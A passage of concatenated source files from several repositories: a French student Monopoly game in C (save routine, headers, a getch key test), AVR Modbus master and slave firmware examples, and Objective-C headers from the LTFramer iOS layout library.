piocheTampon[15] = 0;
for(int j = 0; j < 15; j++)
{
piocheTampon[j] = donnee[j+1];
}
for(int j = 0; j < 16; j++)
{
fprintf(pf, "%d ",piocheTampon[j]);
}
}
fclose(pf);
pf == NULL;
return currentplayer;
} |
ING1-Paris/Monopoly | src/draft/libdraft.h | <reponame>ING1-Paris/Monopoly
#ifndef LIB
#define LIB
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#if defined(__WIN32__)
#include <conio.h>
#include <windows.h>
#endif
#define MAX 100
// Déclaration des structures
typedef struct t_joueur {
int id; // Player's ID from 1 to 4
long balance; // Balance of the player
char username[MAX]; // Username of the player
int position; // ID of the player's current cell
int cellType; // Type of the player's current cell
int ownedField[26]; // ID of each owned fields
bool cartePrison; // Carte sortie de prison
bool carteDenonciation; // carte chance pour payer moins chere
bool inJail; // True if the player is in jail, false if not
bool bankruptcy; // True if the player is in bankruptcy, false if not
char symbol; // Le symbole du joueur
int streakDouble; // Active number of doubles
int timeInJail; // Times in prison
int avatar; // Hexadecimal code for the avatar selection
} joueur;
typedef struct t_terrain {
char *nom; // Field's name
int id; // Field's ID from 0 to 25
int idOnBoard; // Field's ID from 0 to 39 (board reference)
int defaultPrice; // Field's initial price
int housePrice; // Field's house price
int loyer; // Loyer de base
int loyermaison1; // Loyer avec une maison
int loyermaison2; // Loyer avec 2 maisons
int loyermaison3; // Loyer avec 3 maisons
int loyermaison4; // Loyer avec 4 maisons
int loyerhotel; // Loyer avec un hotel
int val_hypoth; // Valeur hypothécaire
int buildings; // Amount of buildings in the field
bool owned; // True if owned, False if not
bool hotel; // True if there is a hotel
int ownedBy; // ID of the player who owns this field
int x; // X position
int y; // Y position
int couleur; // Color of the cell
bool hypotheque; // True si la case est hypothéquée
} terrain;
typedef struct t_box {
int id;
int x;
int y;
char nom[20];
} box;
// Déclarations des prototypes
#if defined(__WIN32__) // Needed to disable intellisense on macOS
void gotoligcol(int lig, int col);
void Color(int couleurDuTexte, int couleurDeFond);
void showCursor(bool show);
#endif
int lancerDe();
void clearScreen();
void showLogo();
void display();
void animation(int y, int x, int ms, int lenght);
void creationCase(char titre[15], int x, int y, int id, int couleur);
void terrainAchete(joueur players[], terrain album);
void ifHypotheque(terrain album);
joueur acheterTerrainJ(joueur currentplayer, terrain album);
terrain acheterTerrainT(joueur currentplayer, terrain album);
terrain acheterMaisonT(joueur currentplayer, terrain album);
joueur acheterMaisonJ(joueur currentplayer, terrain album);
int argentPaye(joueur currentplayer, terrain album);
joueur payerLoyerJ1(joueur currentplayer, int loyer);
joueur toucherLoyerJ2(joueur currentplayer, int loyer);
void plateauGraphique(terrain *listeTerrains);
terrain *creationTerrain();
int choixAvatar(int nbJoueurs, int currentPlayer);
joueur *creationDesJoueurs(int nombreDeJoueurs);
int demanderNbJoueurs();
void infoAlbum(terrain field);
void retourMenu();
void regles();
void credits();
void home();
joueur doubleStreakLimite(joueur player);
int cartePrisonEnJeu(joueur *listePlayers);
joueur deplacement(joueur player, int sommeDe);
void tourPartie2(terrain *listeTerrain, joueur *listePlayers, int currentPlayer, bool rejouer);
void tourNormal(terrain *listeTerrain, joueur *listePlayers, int currentPlayer, bool rejouer);
void tourPrison(terrain *listeTerrain, joueur *listePlayers, int currentPlayer);
void tourJoueur(terrain *listeTerrain, joueur *listePlayers, int currentPlayer, bool rejouer);
void newGame();
void afficherJoueurPlateau(joueur *joueurs, terrain *terrains, box *cases, int i, int j, int k, int l);
int caseColorId(int id);
#endif |
ING1-Paris/Monopoly | src/draft/testforkey.c | <filename>src/draft/testforkey.c<gh_stars>1-10
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#if defined(__WIN32__)
#include <conio.h>
#include <windows.h>
#endif
#define MAX 100
void test1() {
while (1) {
int key;
if (kbhit()) {
key = getch();
do {
key = getch();
} while (key == 224);
switch (key) {
case 113:
printf("quit");
exit(0);
break;
case 72:
printf("up");
break;
case 75:
printf("left");
break;
case 77:
printf("right");
break;
case 80:
printf("down");
break;
}
printf("%d\n", key);
}
}
}
void test2() {
char c;
printf(
"Ce programme indique les codes des touches du clavier "
"generes par la commande getch()\n"
"Un appui sur la touche 'Q' termine le programme\n");
do {
printf("Appuyez sur une touche du clavier: ");
/* On récupère le code de la touche genere par getch() */
c = getch();
/* Si c'est une touche "classique" */
if (c != 0 && c != -32)
printf("code : %i\n", c);
/* Dans le cas d'une touche spéciale */
else {
printf("Touche speciale : %i\t", c);
/* On rappelle getch() pour récupérer le code de la touche */
c = getch();
printf("code : %i\n", c);
}
} while (c != 'Q');
}
int main() {
test2();
return 0;
} |
ING1-Paris/Monopoly | src/lib.h | #ifndef LIB
#define LIB
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#if defined(__WIN32__)
#include <conio.h>
#include <windows.h>
#endif
#define MAX 100
// Déclaration des structures
typedef struct t_joueur
{
int id; // Player's ID from 1 to 4
long balance; // Balance of the player
char username[MAX]; // Username of the player
int position; // ID of the player's current cell
int ownedField[26]; // ID of each owned fields
bool sortiePrison; // Carte sortie de prison
bool carteDenonciation; // carte chance pour payer moins chere
bool inJail; // True if the player is in jail, false if not
bool bankruptcy; // True if the player is in bankruptcy, false if not
int streakDouble; // Active number of doubles
int timeInJail; // Times in prison
int avatar; // Hexadecimal code for the avatar selection
} joueur;
typedef struct t_terrain
{
char *nom; // Field's name
int id; // Field's ID from 0 to 25
int idOnBoard; // Field's ID from 0 to 39 (board reference)
int defaultPrice; // Field's initial price
int housePrice; // Field's house price
int loyer; // Loyer de base
int loyermaison1; // Loyer avec une maison
int loyermaison2; // Loyer avec 2 maisons
int loyermaison3; // Loyer avec 3 maisons
int loyermaison4; // Loyer avec 4 maisons
int loyerhotel; // Loyer avec un hotel
int val_hypoth; // Valeur hypothécaire
int buildings; // Amount of buildings in the field
bool owned; // True if owned, False if not
bool hotel; // True if there is a hotel
int ownedBy; // ID of the player who owns this field
int x; // X position
int y; // Y position
int couleur; // Color of the cell
bool hypotheque; // True si la case est hypothéquée
} terrain;
typedef struct t_box
{
int id;
int x;
int y;
char nom[20];
} box;
// Déclarations des prototypes
#if defined(__WIN32__) // Needed to disable intellisense on macOS
void gotoligcol(int lig, int col);
void Color(int couleurDuTexte, int couleurDeFond);
void showCursor(bool show);
#endif
int lancerDe();
int creerPiocheCommu();
int creerPiocheChance();
joueur chance(joueur currentplayer);
joueur communaute(joueur currentplayer, terrain *listeTerrain);
void clearScreen();
void showLogo();
void display();
void animation(int y, int x, int ms, int lenght);
void clearCoords(int xA, int yA, int xB, int yB);
void creationCase(char titre[15], int x, int y, int id, int couleur);
void terrainAchete(joueur *players, terrain album);
void ifHypotheque(terrain album);
void ifFaillite (joueur** listePlayers);
bool finDuJeu(joueur* listePlayers, int nbJoueurs);
void acheterTerrainJ(joueur *currentplayer, terrain album);
void updateTour(terrain* listeTerrain, joueur **listePlayers, box* listeCases, int currentPlayer, int nbJoueurs);
void acheterTerrainJ(joueur* currentplayer, terrain album);
void acheterTerrainT(joueur* currentplayer, terrain* album);
void acheterMaisonT(joueur* currentplayer, terrain* album);
void acheterMaisonJ(joueur* currentplayer, terrain album);
void vendreMaisonJ(joueur *currentplayer, terrain album, int nbMaisons);
int vendreMaisonJ2(terrain album, int nbMaisons);
void vendreMaisonT(joueur *currentplayer, terrain* album, int nbMaisons);
void hypothequerTerrainT(joueur *currentplayer, terrain* listeAlbums, terrain album);
void hypothequerTerrainJ(joueur *currentplayer, terrain album);
int hypothequerTerrain2 (terrain album);
void leverHypotheque(joueur *currentplayer, terrain album);
int compterArgent(joueur* currentPlayer, terrain* listeTerrain);
void faillite(joueur *currentplayer, terrain *listeTerrain, int sommeApayer);
void tourComplet(joueur* player);
void acheterCarteSortie(joueur* detenteur, joueur* enprison);
int argentPaye(joueur* currentplayer, terrain album);
void payerLoyerJ1(joueur* currentplayer, int loyer);
void toucherLoyerJ2(joueur* currentplayer, int loyer);
void plateauGraphique(terrain *listeTerrains);
terrain *creationTerrain();
int choixAvatar(int nbJoueurs, int currentPlayer, int *numAvatar);
joueur *creationDesJoueurs(int nombreDeJoueurs);
int demanderNbJoueurs();
void infoAlbum(terrain field);
void retourMenu();
void retourMenuInGame(joueur **listePlayers, joueur *currentplayer, terrain *listeTerrain, int nbJoueurs, bool rejouer, int nbTours);
void regles();
void credits();
void home();
void homeInGame(joueur **listePlayers, joueur *currentplayer, terrain *listeTerrain, int nbJoueurs, bool rejouer, int nbTours);
joueur doubleStreakLimite(joueur player);
int cartePrisonEnJeu(joueur **listePlayers);
void deplacement(joueur *player, int sommeDe);
void tourPartie2(terrain *listeTerrain, joueur **listePlayers, box *listeCases, int currentPlayer, bool rejouer, int nbJoueurs, int nbTours);
void tourNormal(terrain *listeTerrain, joueur **listePlayers, box *listeCases, int currentPlayer, bool rejouer, int nbJoueurs, int nbTours);
void tourPrison(terrain *listeTerrain, joueur **listePlayers, box *listeCases, int currentPlayer, int nbJoueurs, bool rejouer, int nbTours);
void tourJoueur(terrain *listeTerrain, joueur **listePlayers, box *listeCases, int currentPlayer, bool rejouer, int nbJoueurs, int nbTours);
void newGame();
void afficherJoueurPlateau(joueur **joueurs, terrain *terrains, box *cases, int nbJoueurs);
int caseColorId(int id);
void faireSauvegarde(joueur ** listePlayers, joueur* currentplayer, terrain* listeTerrain, int nbJoueurs, bool rejouer, int nbTours);
terrain *chargerTerrains();
joueur* chargerJoueurs(int nbJoueurs);
void chargerSauvegarde();
#endif |
ioelectro/modbus-avr-example | slave/main.c | /*
By Liyanboy74
https://github.com/liyanboy74
*/
#include <mega8.h>
#include <stdio.h>
#include <delay.h>
#include "../modbus/mb.h"
#include "../modbus/mb-table.h"
// Voltage Reference: Int., cap. on AREF
#define ADC_VREF_TYPE ((1<<REFS1) | (1<<REFS0) | (0<<ADLAR))
// Read the AD conversion result
unsigned int read_adc(unsigned char adc_input)
{
ADMUX=adc_input | ADC_VREF_TYPE;
// Delay needed for the stabilization of the ADC input voltage
delay_us(10);
// Start the AD conversion
ADCSRA|=(1<<ADSC);
// Wait for the AD conversion to complete
while ((ADCSRA & (1<<ADIF))==0);
ADCSRA|=(1<<ADIF);
return ADCW;
}
void timer_reset()
{
TCNT0=0x00;
}
// USART Receiver interrupt service routine
interrupt [USART_RXC] void usart_rx_isr(void)
{
mb_rx_new_data(UDR);
timer_reset();
}
void USART_Transmit( unsigned char data )
{
/* Wait for empty transmit buffer */
while ( !( UCSRA & (1<<UDRE)) );
/* Put data into buffer, sends the data */
UDR = data;
}
void send_data(uint8_t *Data,uint8_t Len)
{
int i;
timer_reset();
for(i=0;i<Len;i++)USART_Transmit(Data[i]);
}
// Timer 0 overflow interrupt service routine
interrupt [TIM0_OVF] void timer0_ovf_isr(void)
{
// Reinitialize Timer 0 value
timer_reset();
mb_rx_timeout_handler();
}
int get_adc(char ch)
{
int i=0,sum=0;
for(i=0;i<20;i++)
{
sum+=read_adc(ch);
}
return (int)(sum/20.0);
}
void main(void)
{
int adc,temp;
//UART GPIO TX RX Config IO
DDRD=0x02;
PORTD=0x3;
// Timer/Counter 0 initialization
// Clock source: System Clock
// Clock value: 7/813 kHz
TCCR0=(1<<CS02) | (0<<CS01) | (1<<CS00);
TCNT0=0x00;
// Timer(s)/Counter(s) Interrupt(s) initialization
TIMSK=(0<<OCIE2) | (0<<TOIE2) | (0<<TICIE1) | (0<<OCIE1A) | (0<<OCIE1B) | (0<<TOIE1) | (1<<TOIE0);
// ADC initialization
// ADC Clock frequency: 1000/000 kHz
// ADC Voltage Reference: Int., cap. on AREF
ADMUX=ADC_VREF_TYPE;
ADCSRA=(1<<ADEN) | (0<<ADSC) | (0<<ADFR) | (0<<ADIF) | (0<<ADIE) | (0<<ADPS2) | (1<<ADPS1) | (1<<ADPS0);
SFIOR=(0<<ACME);
// USART initialization
// Communication Parameters: 8 Data, 1 Stop, No Parity
// USART Receiver: On
// USART Transmitter: On
// USART Mode: Asynchronous
// USART Baud Rate: 9600
UCSRA=(0<<RXC) | (0<<TXC) | (0<<UDRE) | (0<<FE) | (0<<DOR) | (0<<UPE) | (0<<U2X) | (0<<MPCM);
UCSRB=(1<<RXCIE) | (0<<TXCIE) | (0<<UDRIE) | (1<<RXEN) | (1<<TXEN) | (0<<UCSZ2) | (0<<RXB8) | (0<<TXB8);
UCSRC=(1<<URSEL) | (0<<UMSEL) | (0<<UPM1) | (0<<UPM0) | (0<<USBS) | (1<<UCSZ1) | (1<<UCSZ0) | (0<<UCPOL);
UBRRH=0x00;
UBRRL=0x33;
mb_slave_address_set(0x01);
mb_set_tx_handler(&send_data);
// Global enable interrupts
#asm("sei")
while (1)
{
// Place your code here
adc=get_adc(0);
temp=adc/0.04;
mb_table_write(TBALE_Input_Registers,0,temp);
delay_ms(100);
}
}
|
ioelectro/modbus-avr-example | master/main.c | <reponame>ioelectro/modbus-avr-example
/*
By Liyanboy74
https://github.com/liyanboy74
*/
#include <mega8.h>
#include <alcd.h>
#include <stdio.h>
#include <delay.h>
#include "../modbus/mb.h"
#include "../modbus/mb-packet.h"
char LCD_Buffer[64];
int RX1C=0,RX1EC=0;
int RX2C=0,RX2EC=0;
int RX3C=0,RX3EC=0;
void timer_reset()
{
TCNT0=0x00;
}
// USART Receiver interrupt service routine
interrupt [USART_RXC] void usart_rx_isr(void)
{
mb_rx_new_data(UDR);
timer_reset();
}
void USART_Transmit( unsigned char data )
{
/* Wait for empty transmit buffer */
while ( !( UCSRA & (1<<UDRE)) );
/* Put data into buffer, sends the data */
UDR = data;
}
void send_data(uint8_t *Data,uint8_t Len)
{
int i;
timer_reset();
for(i=0;i<Len;i++)USART_Transmit(Data[i]);
}
// Timer 0 overflow interrupt service routine
interrupt [TIM0_OVF] void timer0_ovf_isr(void)
{
// Reinitialize Timer 0 value
timer_reset();
mb_rx_timeout_handler();
}
void master_process(mb_packet_s Packet)
{
int Data;
if(Packet.type==MB_PACKET_TYPE_ERROR)
{
if(Packet.device_address==0x01)RX1EC++;
else if(Packet.device_address==0x02)RX2EC++;
else if(Packet.device_address==0x03)RX3EC++;
sprintf(LCD_Buffer,"ERROR 1:%02d 2:%02d 3:%02d",RX1EC,RX2EC,RX3EC);
lcd_gotoxy(0,3);
lcd_puts(LCD_Buffer);
}
else if(Packet.func==MB_FUNC_Read_Input_Registers)
{
if(Packet.device_address==0x01)
{
Data=Packet.Data[1]|(Packet.Data[0]<<8);
sprintf(LCD_Buffer,"[%02d] A:%02x D:%04d",RX1C++%100,Packet.device_address,Data);
lcd_gotoxy(0,0);
lcd_puts(LCD_Buffer);
}
else if(Packet.device_address==0x02)
{
Data=Packet.Data[1]|(Packet.Data[0]<<8);
sprintf(LCD_Buffer,"[%02d] A:%02x D:%04d",RX2C++%100,Packet.device_address,Data);
lcd_gotoxy(0,1);
lcd_puts(LCD_Buffer);
}
else if(Packet.device_address==0x03)
{
Data=Packet.Data[1]|(Packet.Data[0]<<8);
sprintf(LCD_Buffer,"[%02d] A:%02x D:%04d",RX3C++%100,Packet.device_address,Data);
lcd_gotoxy(0,2);
lcd_puts(LCD_Buffer);
}
}
}
void main(void)
{
//UART GPIO TX RX Config IO
DDRD=0x02;
PORTD=0x3;
// Timer/Counter 0 initialization
// Clock source: System Clock
// Clock value: 7/813 kHz
TCCR0=(1<<CS02) | (0<<CS01) | (1<<CS00);
TCNT0=0x00;
// Timer(s)/Counter(s) Interrupt(s) initialization
TIMSK=(0<<OCIE2) | (0<<TOIE2) | (0<<TICIE1) | (0<<OCIE1A) | (0<<OCIE1B) | (0<<TOIE1) | (1<<TOIE0);
// USART initialization
// Communication Parameters: 8 Data, 1 Stop, No Parity
// USART Receiver: On
// USART Transmitter: On
// USART Mode: Asynchronous
// USART Baud Rate: 9600
UCSRA=(0<<RXC) | (0<<TXC) | (0<<UDRE) | (0<<FE) | (0<<DOR) | (0<<UPE) | (0<<U2X) | (0<<MPCM);
UCSRB=(1<<RXCIE) | (0<<TXCIE) | (0<<UDRIE) | (1<<RXEN) | (1<<TXEN) | (0<<UCSZ2) | (0<<RXB8) | (0<<TXB8);
UCSRC=(1<<URSEL) | (0<<UMSEL) | (0<<UPM1) | (0<<UPM0) | (0<<USBS) | (1<<UCSZ1) | (1<<UCSZ0) | (0<<UCPOL);
UBRRH=0x00;
UBRRL=0x33;
// Alphanumeric LCD initialization
// Connections are specified in the
// Project|Configure|C Compiler|Libraries|Alphanumeric LCD menu:
// RS - PORTB Bit 0
// RD - PORTB Bit 1
// EN - PORTB Bit 2
// D4 - PORTB Bit 4
// D5 - PORTB Bit 5
// D6 - PORTB Bit 6
// D7 - PORTB Bit 7
// Characters/line: 20
lcd_init(20);
mb_set_tx_handler(&send_data);
mb_set_master_process_handler(&master_process);
// Global enable interrupts
#asm("sei")
lcd_puts("Starting...");
delay_ms(500);
while (1)
{
mb_tx_packet_handler(mb_packet_request_read_input_registers(0x01,0x0000,0x0001));
delay_ms(100);
mb_tx_packet_handler(mb_packet_request_read_input_registers(0x02,0x0000,0x0001));
delay_ms(100);
mb_tx_packet_handler(mb_packet_request_read_input_registers(0x03,0x0000,0x0001));
delay_ms(100);
}
}
|
tevelee/LTFramer | LTFramer/Core/Common/Public/Protocols/Rules/LTFramerProtocol.h | //
// LTFramerProtocol.h
// Pods
//
// Created by <NAME> on 2016. 10. 11..
//
//
#import "LTFramerAbsoluteRuleProtocol.h"
#import "LTFramerRelativeRuleProtocol.h"
@protocol LTFramer <NSObject>
@property (nonatomic, nonnull, readonly) id<LTFramerAbsoluteRule> set;
@property (nonatomic, nonnull, readonly) id<LTFramerRelativeRule> make;
- (void)setFrame;
- (void)setFrameIgnoringTransform;
- (CGRect)computedFrame;
- (void)setFrameInRelativeContainer:(CGRect)container;
- (void)setFrameIgnoringTransformInRelativeContainer:(CGRect)container;
- (CGRect)computedFrameInRelativeContainer:(CGRect)container;
@end
|
tevelee/LTFramer | LTFramer/Core/Common/Public/Properties/LTFramerSizeProperty.h | //
// LTFramerProperty.h
// Pods
//
// Created by <NAME> on 07/09/16.
//
//
#import "LTFramerProperty.h"
typedef NS_ENUM(NSUInteger, LTFramerSize) {
LTFramerSizeExact,
LTFramerSizeScaleToFill,
LTFramerSizeScaleToFit
};
@interface LTFramerSizeProperty : LTFramerProperty
@property (nonatomic, assign) LTFramerSize size;
+ (instancetype)propertyWithDirection:(LTFramerDirection)direction size:(LTFramerSize)size;
@end
|
tevelee/LTFramer | LTFramer/Convenience/Common/Public/NSObject+LTFramerConvenience.h | <filename>LTFramer/Convenience/Common/Public/NSObject+LTFramerConvenience.h
//
// NSObject+LTFramerConvenience.h
// Pods
//
// Created by <NAME> on 15/09/16.
//
//
#import <Foundation/Foundation.h>
typedef void(^LTFramerConfigureBlock)(_Nonnull id object);
@interface NSObject (LTFramerConvenience)
+ (_Nonnull instancetype)configureNew:(_Nonnull LTFramerConfigureBlock)block;
- (_Nonnull instancetype)configure:(_Nonnull LTFramerConfigureBlock)block;
@end
|
tevelee/LTFramer | Example/LTFramer/LTFramerRelativeViewController.h | //
// LTFramerViewController.h
// LTFramer
//
// Created by <NAME> on 08/21/2016.
// Copyright (c) 2016 <NAME>. All rights reserved.
//
@import UIKit;
@interface LTFramerRelativeViewController : UIViewController
@end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.